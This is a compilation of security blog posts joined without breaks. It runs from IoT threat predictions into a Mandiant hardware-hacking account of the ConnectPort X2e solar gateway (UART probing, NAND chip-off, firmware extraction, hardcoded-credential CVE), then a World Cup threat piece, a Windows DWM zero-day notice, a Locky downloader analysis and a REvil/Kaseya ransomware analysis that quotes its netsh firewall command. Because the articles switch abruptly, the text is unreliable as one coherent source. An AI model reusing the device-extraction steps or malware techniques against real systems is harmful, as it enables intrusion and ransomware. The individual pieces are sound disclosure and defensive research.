The Mirai botnet demonstrated the lack of security in routers.
Infected smartphones, which can already monitor and control home devices, will become one of the top targets of cybercriminals, who will employ current and new techniques to take control.
Malware authors will take advantage of phones and tablets, those already trusted controllers, to try to take over IoT devices by password cracking and exploiting vulnerabilities.
These attacks will not appear suspicious because the network traffic comes from a trusted device.
The success rate of attacks will increase, and the attack routes will be difficult to identify.
An infected smartphone could cause the next example of hijacking the DNS settings on a router .
Vulnerabilities in mobile and cloud apps are also ripe for exploitation, with smartphones at the core of the criminals’ strategy.
Infected IoT devices will supply botnets, which can launch DDoS attacks, as well as steal personal data.
The more sophisticated IoT malware will exploit voice-controlled digital assistants to hide its suspicious activities from users and home-network security software.
Malicious activities such as opening doors and connecting to control servers could be triggered by user voice commands (“Play music” and “What is today’s weather?”).
Soon we may hear infected IoT devices themselves exclaiming: “Assistant!
Open the back door!”
Cybercriminals to Increase Attacks on Identity Platforms and Edge Devices Under Siege Large-scale data breaches of identity platforms—which offer centralized secure authentication and authorization of users, devices, and services across IT environments—have been well documented in 2018.
Meanwhile, the captured data is being reused to cause further misery for its victims.
In 2019, we expect to see large-scale social media platforms implement additional measures to protect customer information.
However, as the platforms grow in numbers, we predict criminals will further focus their resources on such attractive, data-rich environments.
The struggle between criminals and big-scale platforms will be the next big battleground.
Triton, malware that attacks industrial control systems (ICS), has demonstrated the capabilities of adversaries to remotely target manufacturing environments through their adjacent IT environments.
Identity platform and “edge device” breaches will provide the keys to adversaries to launch future remote ICS attacks due to static password use across environments and constrained edge devices, which lack secure system requirements due to design limitations.
(An edge device is any network-enabled system hardware or protocol within an IoT product.)
We expect multifactor authentication and identity intelligence will become the best methods to provide security in this escalating battle.
We also predict identity intelligence will complement multifactor authentication to strengthen the capabilities of identity platforms.
Identity is a fundamental component in securing IoT.
In these ecosystems, devices and services must securely identify trusted devices so that they can ignore the rest.
The identity model has shifted from user centric in traditional IT systems to machine centric for IoT systems.
Unfortunately, due to the integration of operational technology and insecure “edge device” design, the IoT trust model is built on a weak foundation of assumed trust and perimeter-based security.
At Black Hat USA and DEF CON 2018, 30 talks discussed IoT edge device exploitation.
That’s a large increase from just 19 talks on the topic in 2017.
The increase in interest was primarily in relation to ICS, consumer, medical, and “smart city” verticals.
(See Figure 1.)
Smart edge devices, combined with high-speed connectivity, are enabling IoT ecosystems, but the rate at which they are advancing is compromising the security of these systems.
Figure 1:
The number of conference sessions on the security of IoT devices has increased, matching the growing threat to poorly protected devices.
Most IoT edge devices provide no self-defense (isolating critical functions, memory protection, firmware protection, least privileges, or security by default) so one successful exploit owns the device.
IoT edge devices also suffer from “break once, run everywhere” attacks—due to insecure components used across many device types and verticals.
(See articles on WingOS and reverse engineering.)
McAfee Advanced Threat Research team engineers have demonstrated how medical device protocols can be exploited to endanger human life and compromise patients’ privacy due to assumed trust.
These examples illustrate just a few of many possible scenarios that lead us to believe adversaries will choose IoT edge devices as the path of least resistance to achieve their objectives.
Servers have been hardened over the last decade, but IoT hardware is far behind.
By understanding an adversary’s motives and opportunities (attack surface and access capability), we can define a set of security requirements independent of a specific attack vector.
Figure 2 gives a breakdown of the types of vulnerabilities in IoT edge devices, highlighting weak points to address by building identity and integrity capabilities into edge hardware to ensure these devices can deflect attacks.
Figure 2: Insecure protocols are the primary attack surface in IoT edge devices.
IoT security must begin on the edge with a zero-trust model and provide a hardware root of trust as the core building block for protecting against hack and shack attacks and other threats.
McAfee predicts an increase in compromises on identity platforms and IoT edge devices in 2019 due to the adoption of smart cities and increased ICS activity.
In 2019, Mandiant’s Red Team discovered a series of vulnerabilities present within Digi International’s ConnectPort X2e device, which allows for remote code execution as a privileged user.
Specifically, Mandiant’s research focused on SolarCity’s (now owned by Tesla) rebranded ConnectPort X2e device, which is used in residential solar installations.
Mandiant performs this type of work both for research purposes and in a professional capacity for their global clients.
Mandiant collaborated with Digi International and SolarCity/Tesla to responsibly disclose the results of the research, resulting in the following two CVEs: Hardcoded Credentials (CVE-2020-9306, CVSS3.0: 8.8) Execution with Unnecessary Privileges (CVE-2020-12878, CVSS3.0: 8.4) Technical details can be found in Digi International’s 3.2.30.6 software release , and on FireEye’s Vulnerability Disclosures GitHub project ( FEYE-2020-0019 and FEYE-2020-0020 ).
This two-part blog series will discuss our analysis at a high level, explore the novel techniques used to gain initial access to the ConnectPort X2e device, and share the technical details of the vulnerabilities discovered.
Topics to be covered will include physical device inspection, debugging interface probing, chip-off techniques, firmware analysis, glitch attacks, and software exploitation.
If you’re interested in continuing the story in Part Two, you can read it now .
FAQ What devices are affected, and (potentially) how many devices are affected?
The vulnerabilities described in this post affect ConnectPort X2e devices as well as the SolarCity rebranded variant.
Other vendor devices may also be vulnerable.
It is unclear how many ConnectPort X2e devices are deployed in the wild.
How is the issue being addressed?
Mandiant worked independently with Digi International and Tesla to remediate the vulnerabilities.
Mandiant would like to thank Digi International and Tesla for their cooperation and dedication to improving the security of their products.
How would an attacker exploit these vulnerabilities?
An attacker with local network access (such as being connected to an individual’s home network via Ethernet) to a vulnerable X2e device can exploit CVE-2020-9306 and CVE-2020-12878 to gain privileged access to the device.
Who discovered these vulnerabilities?
Jake Valletta (@jake_valletta), Sam Sabetan (@samsabetan)
More information such as videos and datasheets on Mandiant’s Embedded Device Assessments can be found here .
Technical Analysis Device Overview Before diving into the details, we’ll discuss the ConnectPort X2e device (referred to as X2e device throughout the post) at a high level.
The X2e device is a programmable gateway that connects to and collects data from ZigBee devices.
It is commonly used as a Smart Energy gateway to interpret and send energy readings from a residential Solar Inverter.
Vendors will often purchase an X2e device and configure it to read power consumption generated by a customer’s Solar Inverter.
Figure 1 outlines a typical residential solar installation and highlights the X2e’s role.
Figure 1:
Typical X2e residential deployment For our research, we focused on the X2e device used by SolarCity, now Tesla, to retrieve data from residential solar installations.
A typical setup would involve SolarCity providing a customer with a gateway that would be connected to the Internet via an Ethernet cable on the customer’s home network.
Figure 2 shows one of the SolarCity branded X2e devices that we tested.
Figure 2: X2e device Without even plugging in the X2e device, we know of at least two separate interfaces to explore: the Ethernet interface and the ZigBee radio.
Note that we did not review the ZigBee interface between the X2e and a solar invertor, and that interface will not be covered in either Part One or Part Two of this series.
Initial Analysis and Physical Inspection Network Reconnaissance We started our research by assessing the X2e device from a network perspective.
By using nmap , we discovered that the device exposed both SSH and HTTP/HTTPS, shown in Figure 3.
Figure 3:
Port scan results from the X2e Upon accessing these services remotely, we noted that both services required authentication.
We also performed limited brute force attempts, which were unsuccessful.
Additionally, the underlying services were not vulnerable to any public exploits.
With not many network-based leads to follow, we shifted our analysis to a hardware perspective to determine if any local attacks may be possible to gain initial access onto the device.
Physical Board Inspection To begin our hardware analysis, we removed the plastic casing from the device and mapped out the various integrated circuit (IC) components and searched for potential debugging interfaces.
Inventorying the components present on the circuit board (also known as a PCB) is a crucial step in understanding how the device was designed and what can be expected down the road.
Figure 4 shows the mapped-out components as well as a cluster of pins that resembled a typical 3-pin universal asynchronous transmit/receive (UART) connection, a common debugging interface on embedded devices.
Figure 4: X2e components and suspicious cluster of pins Without a remote connection to the X2e device, UART is an attractive target.
UART typically provides the equivalent functionality of a service like SSH or Telnet and the added benefit of watching verbose output during system boot.
To determine if the cluster of pins was a UART interface, we first soldered a 3-pin through-hole header to the PCB.
Using a combination of continuity tests with a multimeter and the digital logic analyzer Saleae , it became apparent that we were in fact dealing with a UART interface.
The Figure 5 shows the three pins (Ground, TX, RX) connected to the header.
Attached to the other end of the three wires was a FTDI serial TTL-232 to USB adapter , which was connected to a Linux virtual machine.
Figure 5:
Connecting to potential UART interface In addition to correctly identifying the UART pins and a UART to USB adapter, we also needed software to read/write from the interface as well as knowledge of the baud rate.
Baud rates vary but typically follow standard values, including 9600, 14400, 19200, 38400, 57600, and 115200.
Using the python module pySerial , we connected to the USB adapter and tried standard baud rates until one of the rates produced readable ASCII output (an incorrect baud rate will typically produce non-readable output), and determined the X2e used a baud rate of 115200.
Upon booting the X2e, we noted output from the BootROM, bootloader (which was Das U-Boot 2009.8, a common embedded bootloader), as well as output from the Linux kernel transmitted over the UART connection, shown in Figure 6.
Figure 6: UART boot messages Many configurations of U-Boot allow a physically connected user (using an interface such as UART) the ability to interrupt the boot process; however, this configuration explicitly disabled that feature, shown in Figure 7.
Figure 7: Uninterruptable U-Boot bootloader on the X2e Interrupting a bootloader is attractive to an attacker, as often the boot parameters passed to the Linux operating system can be manipulated to control how it will load, such as booting into single user mode (typically a recover shell) or mounting filesystems as read-write.
In the case of the X2e, the UART connection was mapped to a Linux TTY which required username and password authentication, shown in Figure 8.
Figure 8:
User authentication to Linux over UART Without any ability to interrupt the boot process or credentials to authenticate to the X2e, we were faced with another dead end.
We then shifted our analysis to obtaining the firmware stored on the X2e’s non-volatile storage.
Chip Removal and Data Extraction In this section, we’ll cover the basics of non-volatile memory, often referred to as “flash memory”, present on embedded devices as well as the process used to extract content from the chip.
As mentioned, taking inventory of the components on the PCB is an important first step.
Figure 9 shows the suspected flash chip present on the PCB magnified under a digital microscope.
Figure 9:
Closeup of Spansion flash
The visible markings seen in Figure 9 are important as they allow us to determine the manufacturer and model of the flash, which will assist us with obtaining the datasheet for the chip.
In our case, the NAND we were dealing with was a Spansion S34ML01G1, and its datasheet could be found here .
NAND Overview
Before we talk about acquiring the firmware from the NAND chip, it’s important to first understand the various scenarios that embedded devices typically follow.
NAND verses NOR : These fundamentally different technologies each have their own benefits and drawbacks.
NAND is cheap but suffers from high probability of “bad blocks,” or areas that are corrupt sometimes directly from the factory.
As such, protections and considerations need to be present to be able to protect against this.
NAND is also much faster to erase and write, making it ideal for storing file systems, kernels, and other pieces of code that may need to be reset or changed.
NOR has significantly faster read times but is not as flexible with accessing data and has low erase and write speeds.
NOR is usually used for low-level bootloaders, hardcoded firmware blobs, and other areas that are not expected to change frequently.
The X2e uses a NAND flash.
Serial verses Parallel : This refers to how the data is accessed and is typically visually identifiable.
If there are a large number of pins, the flash is likely parallel.
Serial NOR chips can be small in size and typically need eight or fewer pins to function.
Common serial interfaces are Serial Peripheral Interface (SPI) or Inter-Integrated Circuit (I2C), while a common parallel interface for NAND is Open NAND Flash Interface (ONFI2.0, ONFI3.0).
The X2e is a parallel flash.
IC Form Factor : Another visually identifiable trait—form factor (or “package”)—refers to how the chip is attached to the PCB.
There is a long list of options here , but common surface-mount flash packages include small outline package (SOP), thin outline small package (TOSP), or a variant of ball grid array (*BGA).
The key distinction here is SOP and TOSP expose the pins, while BGA conceals the pins under the package.
The X2e is BGA63, also referred to as a 63-pin BGA package.
Managed verses Unmanaged Flash : This one is more applicable to NAND, for reasons alluded to in the NAND verses NOR section.
As stated, NAND needs help to manage the integrity of the data.
With unmanaged NAND, the IC reserves sections of the flash (often called “spare” area) for someone else to manage the data.
This is typically implemented as either a kernel driver or an external NAND controller.
Managed NAND means that the IC package includes the controller and transparently manages the data.
This is extremely common in embedded devices, as either embedded MMC (eMMC) or universal flash storage (UFS).
The X2e uses unmanaged flash and is controlled by the main microcontroller present on the PCB.
With the basics out of the way, we proceeded with physically removing the chip from the PCB.
Chip Removal Physical chip removal is considered a destructive approach but can certainly be performed without damaging the PCB or the flash chip itself.
When presented with removal of BGA packages, the two most common removal techniques are either hot air or infrared light (IR).
Commercial solutions exist for both hot air and IR, but cheaper options exist with hot air removal.
We opted to use hot air on the X2e.
To minimize damage to the PCB and flash, a PCB heater or oven can be used to slowly bring the entire PCB to a temperature right below the solder melting point.
This will reduce the amount of time we need to focus our hot air directly onto the flash IC and help with reducing the heat dissipation into the PCB throughout the process.
One final trick that can be used to minimize nearby chips from being damaged or lost (due to the air pressure) is the use of high-heat resistant tape, commonly referred to as Kapton tape.
Figure 10 shows the PCB wrapped in Kapton tape to protect nearby components.
Figure 10: High-heat resistant tape on PCB Figure 11 shows an example setup with the X2e PCB inserted into a PCB heater, with a hot air gun suspended over the IC.
Figure 11:
Hot air rework/reflow station While using the hot air to warm the IC and surrounding areas, we gently nudged the flash to see if the solder had become molten.
Once the chip appeared to be floating, we quickly removed the chip and let it cool for about 30 seconds.
Figure 12 shows the IC flash removed from the PCB, with the solder still present on the BGA pads.
Figure 12: NAND removed from X2e Before inserting the NAND into a clam-shell chip reader, the leftover solder must be removed from the flash.
This can be accomplished using a soldering iron, high-quality flux, and de-soldering wick.
Once removed, isopropyl alcohol and a toothbrush are highly effective at removing the leftover flux residue and cleaning the chip.
In the next section, we’ll attempt to extract the data from the NAND chip using a multi-purpose chip programmer.
Data Extraction With the cleaned flash chip in hand, we can now explore options for reading the raw contents.
Commercial forensic acquisition devices exist, but a quick eBay or AliExpress search will produce a multitude of generic chip readers.
One such device, the XGecu Pro , supports a variety of adapters and chipsets and connects to a Windows machine using USB.
It also comes with software to interface with the XGecu Pro and can even auto-detect flash.
To connect the Spansion NAND to the XGecu Pro, we also purchased a clamshell BGA63 adapter.
Figure 13 shows the NAND inserted into the clamshell reader, and Figure 14 shows the clamshell adapter connected to the XGecu Pro device.
Figure 13:
Spansion NAND in BGA clamshell adapter Figure 14: NAND adapter connected to XGecu Using the XGecu Pro software, we can read the entire contents of the flash to a binary file for further analysis.
Since these are not commercial solutions, it is a good idea to perform two or three reads and then diff the extraction to confirm the content was read without errors.
Firmware Analysis Cleaning and Mounting With our fresh NAND dump in hand, the next step was to parse out any relevant firmware blobs, configurations, or filesystems.
The go-to tool for starting this process is binwalk .
binwalk does a fantastic job of detecting filesystems, bootloaders, and kernels.
In addition, binwalk can calculate entropy (detecting packed or encrypted data) and identify assembly opcodes.
Figure 15 shows partial output of running binwalk against the NAND dump.
Figure 15:
Initial binwalk scan against NAND dump We can see from the output that binwalk successfully identified what it believes are U-Boot uImage headers, Linux kernel images, and more than a dozen Journaling Flash File System version 2 (JFFS2) filesystems.
JFFS2 is a common filesystem used in embedded devices; Unsorted Block Image File System (UBIFS) and SquashFS would also be common.
At first glance, the output appears to be promising; however, it is highly unlikely that there are actually that many JFFS2 filesystems present on our NAND.
Another indication that something isn’t quite right are the hexadecimal offsets – they don’t appear to be clean, uniform offsets.
It is far more common that the offsets of the items identified by binwalk would align with NAND page offsets, which are a multiple of 2048.
In order to understand what is occurring here, we need to revisit a characteristic of unmanaged (or “raw”)
NAND ICs described in the NAND Overview section.
To recap, raw NAND requires additional bytes per page for use by higher-level components to attest to the validity of the page, typically implemented as a defined “bad block” marker and a per-page (or subpage) Error-Correcting Code (ECC).
Without going too deep into ECC fundamentals, ECC provides the ability for higher-level processes to detect n number of bad bits on a page and to correct m number of bits.
Since our goal here is not to perform forensics on the raw NAND, our immediate objective is to remove any ECC bytes or other non-data related bytes from the NAND dump.
The MCU is ultimately the system manipulating the raw NAND, so understanding how our MCU, which was an NXP iMX28 series MCU, manages NAND is critical to being able to perform this.
Fortunately for us, this process has already been explored by the security community , and iMX parsing libraries exist to manipulate the raw NAND dump and remove existing extraneous data.
Figure 16 shows the results of re-running binwalk on the output of the imx-nand-convert script.
Figure 16: binwalk scan of fixed NAND dump This time, we see only one JFFS2 filesystem, at the very round offset of 0x880000 .
Using the extraction ( -e ) feature of binwalk , we can now obtain parsed versions of the U-Boot bootloader, Linux kernel, and JFFS2 system.
The final hurdle we need to overcome is mounting the extracted JFFS2 filesystem in a way that allows us to explore the contents.
On Linux, the easiest way to perform this is to use the mtd , mtdblock , and nandsim kernel modules .
The nandsim module simulates a given NAND device and uses the mtd and JFFS2 subsystems to parse and manage appropriately.
The key piece of information that needs to be passed to the nandsim module is the ONFI chip identifier, which can be obtained from the NAND datasheet or by requesting the ID from the IC using a generic reader (like the XGecu Pro used in the Data Extraction section).
A list of supported IDs is also provided by the mtd maintainers .
Getting the parameters correct is a bit of luck and magic and may require you to compile your own version of the nandsim module; that process will not be covered in this post.
Figure 17 shows the steps required to simulate the correct Spansion NAND and mount the JFFS2 filesystem in the form of a Makefile target.
Figure 17: Makefile target to mount JFFS2 filesystem By running make mount-jffs2 , we can quickly prep and mount the JFFS2 filesystem and explore the contents as we would any filesystem.
Accessing the Filesystem In the last section of this post, we’ll walk through our analysis of the JFFS2 filesystem.
Remember that our end goal is to obtain a remotely exploitable bug that will permit privileged code execution.
With that in mind, some areas of interest are running daemons/processes, system startup logic, and credentials for services listening on the network.
The first stop was reviewing the /etc/shadow file to see if there were password hashes for the root user as well as other system users.
A quick check of this file determined there was no password hash for the root user, which indicated we would not be able to authenticate using password authentication.
We noticed that two other password hashes were present, for the addpd and python users, shown in Figure 18.
Figure 18:
Connects of /etc/shadow The addpd user had a weak default password but was unable to authenticate using remote methods, and we were ultimately unable to crack the python user’s hash using internal GPU-based servers.
Additionally, we were interested in processes that are launched during system boot or post-boot.
The directory /WEB/python/ contained a ZIP archive called _x2e.zip , which contained over 200 compiled Python scripts (PYC files), which were loaded on system boot.
Using the decompiler uncompyle2 , we unpacked these files for review.
One file that stood out by name was password_manager.pyc , a file used to reset the login password upon successful boot-up.
The file contained five hardcoded and plaintext credentials that mapped to the python system user.
These credentials could be used to access the web interface and SSH, shown in Figure 19.
Mandiant confirmed different passwords were used for different versions and connectivity states.
Mandiant reported this to SolarCity and was assigned the CVE number CVE-2020-9306.
Figure 19: Hardcoded credentials in password_manager.pyc With the correct password, we were finally able to connect to the web and SSH ports on a running X2e, but unfortunately only as the less-privileged python system user.
While this was a great start, it didn’t satisfy our final objective, which was to remotely compromise the X2e as a privileged user.
In Part Two of this blog series, we will explore additional avenues to further compromise the X2e.
Conclusion
In Part One of this two-part blog series, we covered an overview of the X2e, our initial network-based reconnaissance, PCB inspection techniques, physical debugging interface probing, chip-off techniques, and firmware analysis.
Using these methodologies, we were successfully able to remotely compromise the X2e device as a non-administrative user due to hardcoded credentials (CVE-2020-9306).
In Part Two, we will re-investigate physical attacks against the X2e in the form of glitch attacks, re-explore the U-Boot bootloader, and finally demonstrate an attack to remotely compromise the X2e device as a privileged user.
To continue reading, check out Part Two now .
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By John Fokker on Jul 03, 2018
Every four years, everyone’s head around the globe turns toward the television.
The Olympics, the World Cup – world events like these have all eyes viewing friendly competition between nations.
Operating under such a big spotlight, these events have been heavily guarded by physical security to ensure no participants or attendees are harmed.
But what about digital security?
In 2018, many aspects of these events have become digitized, which is great for event organizers and viewers, but also for cybercriminals.
In fact, reports are already circulating that hackers are targeting attendees of this year’s 2018 FIFA World Cup .
Why These Events?
The cultural value placed in these international games is precisely the reason cybercriminals target them.
The more something is valued, the more people are willing to make sacrifices for it.
Cybercriminals know that, and hope to capitalize on it.
In cases like the World Cup, fans may be willing to expose themselves to a more hostile environment in order to feel a part of the event.
The same goes for companies that are associated with the sporting events, as they can fall victims to attacks just as individuals do.
Types of Attacks Both innocent tourists and fans at home may have to deal with threats that result from their involvement in these events.
Given the fact that internet access has increased all over the world, many tourists are vulnerable to rogue access-point attacks in public places.
Attackers can use these points to harvest credentials and gain access to a victim’s device and accounts.
Malware can also be placed within ATM machines, ready to rip off tourists withdrawing currency from their banks.
As for fans at home, many phishing and waterhole attacks have been designed around these events to entice fans to visit malicious sites or open emails that appear to be related to the games.
However, for nation-state attacks, a lot of groundwork is done before these global events even begin.
Our McAfee Labs team saw this firsthand in the period leading up to the Pyeongchang 2018 Olympic Winter Games.
A nation-state hacker pretended to be a supplier to the Olympics and sent out weaponized mail to organizations of interest that contained malware developed well before the event had started.
The Implications
Whether the objective behind the threat is disruption or financial gain, these attacks all do have one thing in common — they impact the overall feeling of safety at these events and take away from what is supposed to feel like a worldwide celebration of sport.
Now, when fans wish to part of a big event such as the World Cup, they can no longer just focus on which jersey they’re wearing that day.
They have to worry about their bank accounts being robbed or becoming extorted.
Beyond the individual implications, the nation-state attacks that take place at these events can rear their head in an ugly way, as they can actually worsen international relations much more than a healthy sporting rivalry ever could.
So the question is – now what?
On an individual level, visitors to these events must maintain overall good digital security hygiene.
This means leaving unnecessary devices at home, enabling two-factor authentication, using a VPN service, and overall remaining alert and vigilant for scams.
Beyond that, we must all recognize that our physical and digital lives are converging at a fast pace, and we now have a large digital attack surface that is not yet properly safeguarded.
And with both cybercriminals and nation-state actors showing such a heightened interest in global cultural events, cybersecurity must become an essential part of organizing such an event.
Only then can countries host a successful and safe sporting event for everyone.
To learn more about what McAfee is doing to help face the threats to these events, be sure to follow us at @McAfee and @McAfee_Labs .
Kaspersky researchers have found a zero-day vulnerability (CVE-2021-28310) in a Microsoft Windows component called Desktop Window Manager (DWM).
We believe several threat actors have already exploited the vulnerability.
Microsoft just released the patch, and we suggest applying it immediately.
Here’s why.
What is Desktop Window Manager?
Pretty much everyone is familiar with the windowed interface of modern operating systems:  each program opening in a separate window that doesn’t necessarily take up the whole screen.
Windows may overlap, for example, one casting a shadow over others as if it were physically blocking the light.
In Microsoft Windows, the component responsible for rendering features such as shadows and transparency is Desktop Window Manager.
To understand why Desktop Window Manager is important in a cybersecurity context, consider that programs don’t just draw their windows on the screen; they put the necessary information in a buffer.
Desktop Window Manager grabs that information from each program’s buffer and creates the overall composite view that the user sees.
When a user moves one window over another, the open programs don’t know anything about whether their windows should be casting a shadow or having a shadow cast on them, for example.
Desktop Window Manager does that job, and as such it is a key service in Windows that has existed in every version of Windows since Vista — and cannot be deactivated in Windows 8 or later versions.
Desktop Window Manager’s vulnerability The vulnerability our advanced exploit prevention technology discovered is an elevation of privilege vulnerability.
That means a program can trick Desktop Window Manager into giving it access that it shouldn’t have.
In this case, the vulnerability allowed the attackers to execute arbitrary code on victims’ machines — it essentially gave them full control over the computers.
How to avoid CVE-2021-28310 exploitation It’s critical to act quickly.
Here’s what you can do: Install the patches Microsoft released on April 13 , immediately and on all vulnerable computers; Protect all of your devices with a robust security solution such as Kaspersky Endpoint Security for Business , whose advanced exploit prevention component blocks attempts to exploit CVE-2021-28310.
On June 21, 2016, FireEye’s Dynamic Threat Intelligence (DTI) identified an increase in JavaScript contained within spam emails.
FireEye analysts determined the increase was the result of a new Locky ransomware spam campaign.
As shown in Figure 1, Locky spam activity was uninterrupted until June 1, 2016, when it stopped for nearly three weeks.
During this period, Locky was the most dominant ransomware distributed in spam email.
Now, Locky distribution has returned to the level seen during the first half of 2016.
Figure 1.
Locky spam activity in 2016 Figure 2 shows that the majority of Locky spam email detections between June 21 and June 23 of this year were recorded in Japan, the United States and South Korea.
Figure 2.
Locky spam by country from June 21 to June 23 of this year
The spam email – a sample shown is shown in Figure 3 – purports to contain an unpaid invoice in an attached ZIP archive.
Instead of an invoice, the ZIP archive contains a Locky downloader written in JavaScript.
Figure 3.
Locky spam email JavaScript based Downloader Updates In this campaign
, few updates were seen in both the JavaScript based downloader and the Locky payload.
The JavaScript downloader does the following: Iterates over an array of URLs hosting the Locky payload.
If a connection to one of the URLs fails, the JavaScript sleeps for 1,000 ms before continuing to iterate over the array of URLs.
Uses a custom XOR-based decryption routine to decrypt the Locky payload.
Ensures the decrypted binary is of a predefined size.
In Figure 4 below, the size of the decrypted binary had to be greater than 143,360 bytes and smaller than 153,660 bytes to be executed.
Figure 4.
Payload download function in JavaScript 5.
Checks (Figure 5) that the first two bytes of the binary contain the “MZ” header signature.
Figure 5: MZ header check 6.
Executes the decrypted payload by passing it the command line parameter, “123”.
Locky Payload Updates The Locky ransomware downloaded in this campaign requires a command line argument to properly execute.
This command line parameter, “123” in the analyzed sample, is passed to the binary by the first stage JavaScript-based downloader.
This command line parameter value is used in the code unpacking stage of the ransomware.
Legitimate binaries typically verify the number of arguments passed or compare the command line parameter with the expected value and gracefully exit if the check fails.
However in the case of this Locky ransomware, the program does not exit (Figure 6) and the value received as a command line parameter is added to a constant value defined in the binary.
The sum of the constant and the parameter value is used in the decryption routine (Figure 7).
If no command line parameter is passed, it adds zero to the constant.
Figure 6.
Command line parameter check Figure 7.
Decryption routine
If no command line parameter is passed, then the constant for the decryption routine is incorrect.
This results in program crash as the decrypted code is invalid.
In Figure 8 and Figure 9, we can see the decrypted code sections with and without the command line parameter, respectively.
Figure 8.
Correct decrypted code Figure 9.
Incorrect decrypted code
By using this technique, Locky authors have created a dependency on the first stage downloader for the second stage to be executed properly.
If a second stage payload such as this is directly analyzed, it will result in a crash.
Conclusion As of today, the Locky spam campaign is still ongoing, with an added anti-analysis / sandbox evasion technique.
We expect to see additional Locky spam campaigns and will remain vigilant in order to protect our customers.
Email Hashes 2cdf62f8aae20026418f143895c769a2009e6b9b3ac59bfa8fc79ca2f326b93a 1fd5c1f0ecc1d54324f3bdc327e7893032482a13c0914ef6f531bd93caef0a06 0ea7d59d7f1494fce8f45a1f35abb07a456de6d8d65327eca8ff84f307a49a06 22645be8553628574a7af3c32a45178e201e9af33b20b36d29b9c012b731da4c 198d8d1a89221c575d957c1f4342741f3675ebb10f95ffe3371150e124f4850e Subscribe to Blogs Get email updates as new blog posts are added.
FortiGuard Labs Threat Research Report Affected Platforms : Windows Impacted parties : Windows Users Impact :
Data encryption, Data destruction Threat Severity : Critical Introduction to the Kaseya Ransomware Attack
In this article we examine the ransomware used in the recent Kaseya attack .
We will see what happens when a machine is infected by this ransomware by looking at some of the visible Indicators of Compromise, such as modified wallpaper, several “<random string>-readme.txt” files in different folders, and changes in the filenames with < random string > extensions.
We will also discuss in more details how DLL side-loading was implemented along with other malware tricks that the ransomware used.
Fortunately, FortiEDR detects and blocks the DLL side-loading event when the ransomware executes the valid application, such as MsMpEng.exe, while it loads the malicious payload, mpsvc.dll.
As a result, customers will not be able to see all of the related IOCs because the malware is prevented from running.
Ransom Note and Visible IOCs One common element of most ransomware is the ransom note.
Once its infection routine is completed, this ransomware variant replaces the desktop wallpaper with a dropped .bmp
file notifying the victim to look for a file containing instructions, as shown in Figure 1a.
All accessible folders have a copy of the ransom note file inserted.
The ransom note is dropped as a text file using a random filename, such as “5f03r-readme.txt”.
The filename format uses “<random string>-readme.txt”.
Encrypted files in the folder have the extension name of “5f03r” or the <random string> added to the filename.
The files used for DLL side-loading technique are also dropped in the same path as the wallpaper bmp file (Figure 1d).
Technical Analysis Common Malware Tricks Over the years, a variety of malware tricks have been developed and employed differently by various malicious actors.
These include anti-debugging, anti-analysis, anti-reversing, and virtually every “anti-everything” concept that malicious authors can think of.
One of the most common malware tricks is hiding its APIs .
The main purpose of this strategy is to avoid being detected by signature-based detection tools that looks for specific combinations of APIs used by malware.
This trick also makes deeper analysis take longer because analysts are blind as to which APIs they need to be looking for.
Looking deeper, these initial APIs are not very important to the malware.
Instead, it resolves its needed APIs using a simple hashing computation.
The malware includes a list of hash values that correspond to the APIs it needs.
It first resolves the LoadLibraryA API to load the needed DLL file.
It grabs the first available API name from the loaded library, calculates the hash, and then compares it to the current API hash.
If it is the right hash, it gets the index of the API name and the API address pointed to by the index.
If it is not the right hash, the malware gets the next API name and continues its calculations.
The ransomware repeats this same process until it resolves the API addresses that the malware needs.
This is quite a simple trick.
Most malware hides its APIs and resolves the right addresses using different combinations of LoadLibraryA, GetProcAddress, and other APIs.
They also use different combinations of encryption, calculations, and encodings.
But at the end of the malware’s API addresses resolving algorithm we still get the list of APIs with their proper addresses.
You can see them if you look in the right location in the malware code before it executes its infection routine.
Decrypting the Ransom Note To extract the ransom note, REvil ransomware decrypts a large chunk of bytes using a simple RC4 algorithm to generate a base64 blob of string.
This string is then decoded by calling the CryptStringToBinaryW API, as shown in Figure 4.
The RC4 algorithm shown above is the same code that decrypts most of the strings that the malware needs, including the C&Cs used to exfiltrate information from the infected machine (Figure 5).
The complete list of C&Cs can be found in Appendix B: IOCs.
MITRE ATT&CK Framework Analysis The MITRE ATT&CK Framework is a globally accessible knowledge base of adversary tactics and techniques based on real-world observations.
It provides threat researchers and responders with a system for examining cyberattacks, allowing techniques and events to be more easily analyzed by researchers and presented in a way that help victims to better understand where in the attack cycle certain events occur.
Critical elements of this ransomware have been mapped to the MITRE ATT&CK Framework.
Two of its key strategies tied to specific MITRE ATT&CK TTP (tactics, techniques, and procedures) IDs are detailed below.
The full set of MITRE ATT&CK elements are listed in the Appendix.
MITRE
T1562.004 Disable or Modify System Firewall Technique
The ransomware exposes the infected machine within the network by running “ netsh advfirewall firewall set rule group=\\\"Network Discovery\\\" new enable=Yes ”, using WinExec API.
MITRE T1574.002 Hijack Execution Flow:
DLL Side-Loading Technique While this ransomware has numerous tricks up its sleeves, for this article we will focus on its DLL Side-Loading trick.
It uses MITRE technique T1574.002 Hijack Execution Flow: DLL Side-Loading.
This technique is commonly employed by malware by dropping a malicious DLL within a search order of a valid application.
This search order provides a Windows application with a list of locations where it can find a valid DLL or libraries.
The application then uses the DLL that is available, whichever comes first.
When the application executes it then loads the malicious DLL if it is available first rather than the valid DLL.
However, this ransomware does a little more than that.
Instead of just dropping the malicious “mpsvc.dll”, it also drops the valid application, MsMpEng.exe.
This is a Windows Defender executable and normally not detected by security applications.
After dropping both the executable and the DLL file, the ransomware executes MsMpEng.exe using CreateProcessW API.
Walkthrough on How This Ransomware Uses the DLL Side-Loading Technique Both mpsvc.dll and MsMpEng.exe are found within the ransomware in the resource section of the file.
To access the content of the resource section of the file, the ransomware uses FindResourceW, LoadResource, and LockResource APIs to grab the contents of the resource section.
The resource section has two main elements, “MODLIS” and “SOFTIS”.
These provide the contents for “mpsvc.dll” and “MsMpEng.exe”, respectively (Figure 7a).
The ransomware tries to access “mpsvc.dll” in the “C:\\Windows” folder.
If it fails, it will create “mpsvc.dll” in “AppData\\Local\\Temp”.
Similar steps are taken to drop the MsMpEng.exe to the Temp folder.
Afterwards, the malware initiates its DLL Side-Loading technique by executing MsMpEng.exe using the CreateProcessW API.
Executing MsMpEng.exe on its own is not malicious, but MsMpEng loads the malicious “mpsvc.dll” as one of the needed libraries.
The application is not able to tell whether the loaded library is malicious.
So, once the malicious library is loaded, it executes the encryption of files along with the rest of its infection routines.
Conclusion - Kaseya Ransomware Attack
This ransomware variant drops a copy of its ransom note file, “<random string>-readme.txt”, in every accessible folder.
